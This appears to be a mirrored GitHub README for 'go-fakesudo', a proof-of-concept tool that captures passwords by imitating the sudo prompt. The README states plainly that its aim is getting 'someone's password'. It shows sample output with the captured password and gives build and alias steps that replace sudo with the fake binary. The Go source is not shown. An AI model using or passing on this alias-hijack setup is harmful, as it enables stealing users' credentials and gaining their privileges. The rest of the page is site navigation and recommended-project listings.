Git Product home page Git Product logo

go-fakesudo's Introduction

go-fakesudo

Proof of concept Go code for recording a password by hijacking sudo.

Get someone's password by asking for it on the right moment.

Concept

The idea of this code is to wrap the 'sudo' command, to ask for the password in the same way sudo does, before handing over control to the real sudo command.

Note that in current form, it prints the password in the console, instead of sending it to somewhere:

rvben@pc:~/go-fakesudo$ ./fakesudo ls -al
[sudo] password for rvben: 
Sorry, try again.

Password typed: mypassword
[sudo] password for rvben: 
Makefile  README.md  fakesudo  fakesudo.go

Getting started

  1. Build fakesudo
go build fakesudo.go
  1. Set alias
alias sudo='`pwd`/fakesudo'
  1. Use sudo
$ sudo vim /etc/hosts
[sudo] password for rvben:

go-fakesudo's People

Contributors

rvben avatar

Stargazers

Connor avatar

Watchers

James Cloos avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.